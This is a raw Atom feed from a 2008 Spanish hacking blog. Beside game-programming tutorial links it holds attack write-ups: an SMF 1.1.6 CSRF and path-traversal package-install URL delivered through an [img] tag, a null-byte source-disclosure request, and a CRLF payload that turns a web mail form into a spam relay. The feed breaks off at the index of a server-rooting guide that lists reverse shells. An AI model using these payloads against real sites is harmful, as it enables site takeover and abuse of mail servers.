src='http://4.bp.blogspot.com/_1FbP8V2e4r8/SLrLfbwybaI/AAAAAAAAAA8/TbziVm3IC6w/s1600-R/winduwebcopiaip0.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-2095249988784990246</id><published>2008-11-14T16:08:00.000+01:00</published><updated>2008-11-14T16:09:02.145+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic .NET'/><title type='text'>Juego del ahorcado</title><content type='html'>&lt;div class="post" id="msg_5866"&gt;El famoso fuego del "Ahorcado" con Visual Basic y SharpDevelp paso a paso.&lt;br&gt;&lt;br&gt;&lt;div align="center"&gt;&lt;hr&gt;&lt;a href="http://rapidshare.com/files/161266139/ahorcado.rar" target="_blank"&gt;&lt;span style="font-size: 16pt; line-height: 1.3em;"&gt;&lt;span style="color: orange;"&gt;&lt;b&gt;Descargar vídeo-tutorial + Source&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br&gt;&lt;hr&gt;&lt;/div&gt;&lt;br&gt;Salu2&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2095249988784990246?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/2095249988784990246/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=2095249988784990246' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2095249988784990246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2095249988784990246'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/11/juego-del-ahorcado.html' title='Juego del ahorcado'/><author><name>Mace Windu</name><uri>http://www.blogger.com/profile/16629780086210916617</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://4.bp.blogspot.com/_1FbP8V2e4r8/SLrLfbwybaI/AAAAAAAAAA8/TbziVm3IC6w/s1600-R/winduwebcopiaip0.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-2384759838356651448</id><published>2008-11-14T16:07:00.001+01:00</published><updated>2008-11-14T16:08:34.491+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C# .NET'/><title type='text'>Autoexamen</title><content type='html'>&lt;div class="post" id="msg_5867"&gt;En este vídeo-tutorial se hace una introducción tanto al entorno de SharpDevelop como a la sintaxis de C#, para crear una aplicación que servirá para autoexaminarnos.&lt;br&gt;&lt;br&gt;&lt;div align="center"&gt;&lt;hr&gt;&lt;a href="http://rapidshare.com/files/161256921/autoexamen.rar" target="_blank"&gt;&lt;span style="font-size: 16pt; line-height: 1.3em;"&gt;&lt;span style="color: orange;"&gt;&lt;b&gt;Descargar vídeo-tutorial + Source&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br&gt;&lt;hr&gt;&lt;/div&gt;&lt;br&gt;Salu2&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2384759838356651448?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/2384759838356651448/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=2384759838356651448' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2384759838356651448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2384759838356651448'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/11/autoexamen.html' title='Autoexamen'/><author><name>Mace Windu</name><uri>http://www.blogger.com/profile/16629780086210916617</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://4.bp.blogspot.com/_1FbP8V2e4r8/SLrLfbwybaI/AAAAAAAAAA8/TbziVm3IC6w/s1600-R/winduwebcopiaip0.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4144116180941176859</id><published>2008-11-14T15:57:00.006+01:00</published><updated>2008-11-14T16:07:14.583+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Vídeotutoriales - Desarrollo de videojuegos</title><content type='html'>&lt;div class="post" id="msg_5868"&gt;&lt;span style="line-height: 1.3em;font-size:14;" &gt;&lt;span style="color:orange;"&gt;&lt;b&gt;Vídeo-tutoriales&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;01 Matamarcianos &lt;a href="http://rapidshare.com/files/161205926/matamarcianos.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Laszlo, Eclipse - Nivel técnico: 3-Medio&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;02 Algoritmo Minimax (IA) &lt;a href="http://rapidshare.com/files/160301783/minimax.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Java, JSP, Netbeans - Nivel técnico: 3-Medio&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;03 Pong3D con Java3D &lt;a href="http://rapidshare.com/files/160643886/pong3d.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Java3D, Netbeans - Nivel técnico: 4-Medio/Alto&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;04 Desarrollo de una bolera virtual &lt;a href="http://rapidshare.com/files/160904712/bolera.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Java - Nivel técnico: 5-Avanzado&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;05 Game Maker &lt;a href="http://rapidshare.com/files/161218367/gamemaker.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Game Maker - Nivel técnico: 1-Básico&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;06 Juego de coches &lt;a href="http://rapidshare.com/files/160293945/coches.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: J2ME - Nivel técnico: 2-Básico/Medio&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;07 MazeRunner &lt;a href="http://rapidshare.com/files/160311917/mazerunner.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Javascript - Nivel técnico: 3-Medio&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;08 Búsqueda de soluciones basadas en IA &lt;a href="http://rapidshare.com/files/160656616/iaalgoritmos.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Algoritmos de búsqueda - Nivel técnico: 4-Medio/Avanzado&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;09 El juego del trilero &lt;a href="http://rapidshare.com/files/160650201/trilero.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Java y UML - Nivel técnico: 2-Básico/Medio&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;10 Tiro a diana &lt;a href="http://rapidshare.com/files/160316286/diana.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Java - Nivel técnico: 1-Básico&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;11 Busca las minas &lt;a href="http://rapidshare.com/files/160307322/minas.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Java - Nivel técnico: 2-Básico/Medio&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;12 Tragaperras &lt;a href="http://rapidshare.com/files/160076441/tragaperras.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Java - Nivel técnico: 1-Básico&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;b&gt;13 Tetris &lt;a href="http://rapidshare.com/files/160897695/tetris.rar" target="_blank"&gt;&lt;span style="color:green;"&gt;[Descargar vídeotutorial + fuentes]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Tecnologías: Java - Nivel técnico: 4-Medio/Avanzado&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;En construcción&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Salu2&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4144116180941176859?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4144116180941176859/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4144116180941176859' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4144116180941176859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4144116180941176859'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/11/desarrollo-de-videojuegos-vdeo.html' title='Vídeotutoriales - Desarrollo de videojuegos'/><author><name>Mace Windu</name><uri>http://www.blogger.com/profile/16629780086210916617</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://4.bp.blogspot.com/_1FbP8V2e4r8/SLrLfbwybaI/AAAAAAAAAA8/TbziVm3IC6w/s1600-R/winduwebcopiaip0.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8105065376800126891</id><published>2008-11-07T14:39:00.003+01:00</published><updated>2008-11-09T19:33:56.954+01:00</updated><title type='text'>SMF 1.1.6 Remote Code Execution</title><content type='html'>Saludos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Seguro que si estás leyendo esto es porque te has hecho eco de la publicación de un exploit que explota un RCE en los foros SMF 1.1.6. Quisiera con este post analizar el cómputo de vulnerabilidades que han posibilitado provocar el RCE. Antes de empezar quisiera decir que la información que aquí publico está extraida del exploit. Bien, empecemos...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Como ya he dicho al inicio, esta vulnerabilidad no es una en sí, sino la suma de varias fallas... Empezando por el principio, todos somos conscientes de que para evitar que un admin realice acciones dentro del panel de administración sin ser consciente de ello, es decir, para evitar que se produzca un CSRF, SMF usa un sistema de sesiones.&lt;br /&gt;&lt;br /&gt;  Para realizar cualquier accion (en principio) el SMF debe de requerir la sesión y así evitar ejecutar algo por clickar sobre un link o algo.. pero como he dicho esto es sólo en "principio", porque para la instalación de paquetes no es requerido.&lt;br /&gt;&lt;br /&gt;  Entonces estamos ante un CSRF, en el cual podríamos hacer que el administrador instalase paquetes sin que se diera cuenta, simplemente tendríamos que ingeniarnosla para que clickase sobre esta URL:&lt;br /&gt;&lt;br /&gt;http://[website]/SMF/index.php?action=packages;sa=install2;package=[filename]&lt;br /&gt;&lt;br /&gt;Si analizásemmos el código fuente, podríamos ver que la variable $_REQUEST['package'] no es filtrada, lo que nos permite (aprovechando el CSRF) hacer que el admin instale cualquier tipo de paquete, sin tener en cuenta su localización (en extensión .gzip)&lt;br /&gt;&lt;br /&gt; Entonces... si pensamos un poco, podemos encontrar dos formas de subir desde nuestro ordenador un archivo a un foro SMF. Por una parte está el upload de imagenes para usarlas como avatar (casi siempre deshabilitado y dificil de bypassear) y por otra, podemos agregar un archivo a un post, sin importar su extensión.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ya sólo nos quedaría encontrar el archivo que hemos subido y hacer clickar al admin para que instale todo... Y es aquí donde SMF vuelve a meter la pata: podemos encontrar fácilmente nuestro archivo subido.&lt;br /&gt;&lt;br /&gt;  SMF cambia el nombre a los archivos que se suben de esta forma, pero al renombrarlos no usa ningún tipo de función que dé caracteres aleatorios sino que lo hace de esta forma:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[id]_[name]_[ext][md5([name].[ext])]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Entonces, la URL maliciosa quedaría tal que así:&lt;br /&gt;&lt;br /&gt;http://[website]/SMF/index.php?action=packages;sa=install2;package=../attachments/[nombre de nuestro archivo]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En el exploit que hay en milw0rm lo que se hace es crear un post agregando nuestro archivo .gzip y despues modifica ese post para hacer un [img]&lt;br /&gt;http://[website]/SMF/index.php?action=packages;sa=install2;package=../attachments/[nombre de nuestro archivo][/img] y así cuando un admin vea el post instale todo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://milw0rm.com/exploits/6993"&gt;Exploit en Milw0rm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8105065376800126891?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8105065376800126891/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8105065376800126891' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8105065376800126891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8105065376800126891'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/11/smf-116-remote-code-execution.html' title='SMF 1.1.6 Remote Code Execution'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8170054476396674362</id><published>2008-10-13T16:54:00.004+02:00</published><updated>2011-04-11T14:25:46.811+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otras Vulnerabilidades'/><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><title type='text'>Poison Null Byte</title><content type='html'>&lt;style&gt;code { color: lime;}&lt;/style&gt;Por Vengador de las Sombras&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Es esta una vulnerabilidad ya archiconocida por todos, pero que no está de más hablar un poco sobre ella. Los caracteres nulos, o Null Bytes, son caracteres especializados en la señalización del final de una cadena, es decir, indican el final de una cadena. De esta forma, los  caracteres que vengan detrás del null byte serán ignorados. Esto va a adquirir mucha importancia a la hora de bypassear ciertas funciones o filtros.&lt;br /&gt;&lt;br /&gt; La representación de estos caracteres nulos cambia en cada lenguaje, pero básicamente siempre están compuestos por 0s. Por ejemplo:&lt;br /&gt;&lt;br /&gt;PERL =&amp;gt; \0&lt;br /&gt;C++ =&amp;gt; \x00&lt;br /&gt;URLENCODE =&amp;gt; %&lt;script&gt;&lt;/script&gt;00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Estos son solo unos pocos ejemplos. Bien, entonces si tenemos una string (~cadena de texto) con el contenido "Hola Soy Vengador de las Sombras", en realidad eso equivaldría a "Hola Soy".&lt;br /&gt;&lt;br /&gt;Ahora que ya hemos comprendido el cómo funciona la vulnerabilidad, pasemos a la parte práctica. Imaginémonos que tenemos una aplición web en PERL, y que un cacho del código fuente es así:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;###############Trozo de Código#########################&lt;br /&gt;&lt;br /&gt;# $opcion es introducido por método get desde la URL&lt;br /&gt;&lt;br /&gt;$archivo = "$opcion.html";&lt;br /&gt;open(PAGINA,"&amp;lt;$archivo"); @source = &lt;pagina&gt;;&lt;br /&gt;foreach $linea (@source){&lt;br /&gt;print $linea;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;####################Mas codigo fuente ####################&lt;/pagina&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Si yo por ejemplo pusiera PUTA, el script trataría de abrir el archivo PUTA.html. Ahora imaginémosnos que tiene en el mismo directorio (si lo tuviera en otro también se podría hacer, sólamente tendríamos que añadir ../ para ir subiendo directorios) un archivo llamado Index.php. Si nosotros seteamos $opcion con la cadena index.php, el script trataría de abrir index.php.html, que no existe y por tanto daría error.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pero si lo que hacemos es colocar un null byte (%&lt;script&gt;&lt;/script&gt;00) en la petición GET, podremos lograr que el script ignore la última parte (.html) abriendo index.php y permitiéndonos ver su código fuente (un Source Code Disclosure). Entonces la petición debería de quedar algo así: ?opcion=index.php%&lt;script&gt;&lt;/script&gt;00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; COmo pueden ver, esta técnica es aplicable (siempre y cuando sea vulnerable a esta técnica) tanto a SQL injections, como a LFIs, Transversal Paths, etc... es sólo usar la imaginación.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8170054476396674362?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8170054476396674362/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8170054476396674362' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8170054476396674362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8170054476396674362'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/10/poison-null-byte.html' title='Poison Null Byte'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5891754347782033409</id><published>2008-09-30T12:22:00.004+02:00</published><updated>2008-10-13T16:40:09.566+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='CRLF Injections'/><title type='text'>SMTP Injection:  Otro ataque de CR/LF</title><content type='html'>&lt;style&gt;code { color: lime; }&lt;/style&gt;&lt;br /&gt;&lt;br /&gt;Saludos a todos...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Bien siento el haber dejado un tanto de lado la publicación de papers y manuales, pero es que ando liado con la universidad y tal... Adelanto que probablemente se realice un artículo en colaboración con Sknight al estilo de "HTTP Al descubierto", pero esta vez orientado más a vulnerabilidades relacionadas con las cookies.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;h1&gt;SMTP INJECTION&lt;/h1&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Las SMTP injections son una aplicación de la técnica conocida como "CRLF Injections". La vulnerabilidad y el ataque más habitual (HTTP Splitting) vienen introducidos en una anterior publicación[1], así que no vamos a entrar en el tema de en qúe consiste y demás.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  COmo iba diciendo, las SMTP injections funcionan como los HTTP Splitting, y básicamente, como cualquier otro tipo de inyección. El objetivo es introducir una sentencia maligna para que sea ejecutada como si fuese propia de la aplicación vulnerable. En este caso, es aplicado al envío de mails.&lt;br /&gt;&lt;br /&gt;  Para aquellos que anden un poco perdidos, deciros que SMTP es un protocolo encargado de envíar correos (Simple Mail Transfer Protocool). En algunas ocasiones existen ciertas aplicaciones web encargadas del envío de mails, por ejemplo, de sugerencias al webmaster y cosas así. Si la aplicación es vulnerable a las inyecciones de retorno de carro (CR/LF Injection) podríamos aprovecharla para que mande correos a quien nosotros queramos. Hasta aquí creo que todo bien...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Lo segundo que tenemos que tener claro son como se realizan las negociaciones por SMTP[2]. Al final del paper dejo un link para aprender un poco y así comprender en qué consiste la técnica.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  El escenario es el siguiente. Tenemos un archivo llamdo mail.php que es la aplicación vulnerable. Esta aplicación es la encargada de recibir por método POST los datos para enviar el mail. En este caso, existe un index.html con un formulario que apunta a mail.php. En este formulario únicamente podemos poner nuestro correo electrónico y el asunto del mensaje. Entonces si tenemos un sniffer puesto en el puerto 80 (siempre que auditemos o hagamos algo es bueno tener un sniffer interceptando la información), vemos algo tipo:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;POST http://hostfalso.com.ar/mail.php HTTP/1.1&lt;br /&gt;…&lt;br /&gt;-----------------------------134475172700422922879687252&lt;br /&gt;Content-Disposition: form-data; name="asunto"&lt;br /&gt;Le mando este mail para decirle&lt;br /&gt;-----------------------------134475172700422922879687252&lt;br /&gt;…&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sólo he puesto el cacho del "asunto". Si sabemos algo del protocolo SMTP (ya os advertí que necesitabais  mirar los links del final) podemos haber deducido que la estructura del mail debe de ser algo al estilo de:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;HELO&lt;br /&gt;MAIL FROM: &amp;lt;Datos&gt;&lt;br /&gt;RCPT TO: lt;datos&gt;&lt;br /&gt;DATA&lt;br /&gt;Subject: &lt;b&gt;Le mando este mail para decirle&lt;/b&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Entonces... si fuese vulnerable a CRLF injection, podríamos setear la variable "asunto" con una inyección cuyo objetivo sería partir la negocación y abrir otra con los datos que nosotros queramos, es decir, con el correo qeu queremos mandar y a quien se lo queremos mandar.&lt;br /&gt;&lt;br /&gt;Entonces mandamos el siguiente HTTP header a mail.php:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;POST http://hostfalso.com.ar/mail.php HTTP/1.1&lt;br /&gt;…&lt;br /&gt;-----------------------------134475172700422922879687252&lt;br /&gt;Content-Disposition: form-data; name="asunto"&lt;br /&gt;Visita ArgeniversoHack%0d%0a.%0d%0aMAIL FROM: lammo@arroba.com%0d%0aRCPT TO: Lammo@at.com%0d%&lt;br /&gt;0aDATA%0d%0aSPAM test%0d%0a.%0d%0aMAIL FROM: lammo@arroba.com%0d%0aRCPT TO:&lt;br /&gt;Lammo@at.com%0d%0aDATA%0d%0aSPAM test%0d%0a.%0d%0a&lt;br /&gt;-----------------------------134475172700422922879687252&lt;br /&gt;…&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lo que se transformaría en...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;MAIL FROM: [mailfrom]&lt;br /&gt;RCPT TO: [rcptto]&lt;br /&gt;DATA&lt;br /&gt;Subject: Visita ArgeniversoHack&lt;br /&gt;.&lt;br /&gt;MAIL FROM: lammo@arroba.com&lt;br /&gt;RCPT TO: Lammo@at.com&lt;br /&gt;DATA&lt;br /&gt;SPAM Test&lt;br /&gt;.&lt;br /&gt;MAIL FROM: lammo@arroba.com&lt;br /&gt;RCPT TO: Lammo@at.com&lt;br /&gt;DATA&lt;br /&gt;SPAM Test&lt;br /&gt;.&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora solo necesitais imaginación para darle alguna otra aplicación...&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;br /&gt;REFERENCIAS&lt;br /&gt;&lt;br /&gt;&lt;a href="http://0verl0ad.blogspot.com/2008/09/crlf-injections-infectando-descargas.html"&gt;[1]CRLF INJECTIONS: INFECTANDO DECARGAS&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ietf.org/rfc/rfc2821.txt"&gt;[2]RFC 2821&lt;/a&gt;&lt;br /&gt;[3] MX-Injections (OWASP)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5891754347782033409?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5891754347782033409/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5891754347782033409' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5891754347782033409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5891754347782033409'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/09/smtp-injection-otro-ataque-de-crlf.html' title='SMTP Injection:  Otro ataque de CR/LF'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8377223121743609601</id><published>2008-09-20T18:21:00.003+02:00</published><updated>2008-09-20T18:40:56.371+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rootear'/><title type='text'>Rootear Servidores</title><content type='html'>&lt;style&gt;code { color: lime; }&lt;br /&gt;h1{&lt;br /&gt;color: red;&lt;br /&gt;text-decoration: bold;&lt;br /&gt;}&lt;/style&gt;&lt;br /&gt;&lt;center&gt;&lt;h1&gt;Rootear Servidores&lt;/h1&gt;&lt;br /&gt;&lt;font color=orange&gt;Por Vengador de las Sombras (F.O.S TEAM)&lt;/FONT&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;0X00 INDICE&lt;/h1&gt;&lt;br /&gt;&lt;b&gt;0x01 Introducción&lt;br /&gt;0x02 Habilitar funciones (bypassing)&lt;br /&gt;   0x02~01 Safe_mode&lt;br /&gt;   0x02~02 Mod_security&lt;br /&gt;0x03 Shell inversa&lt;br /&gt;0x04 Rootear el servidor&lt;br /&gt;   0x04~01 Servidores con Linux&lt;br /&gt;   0x04~02 Servidores con Win32&lt;br /&gt;0x05 Despedida y Agradecimiento s&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br 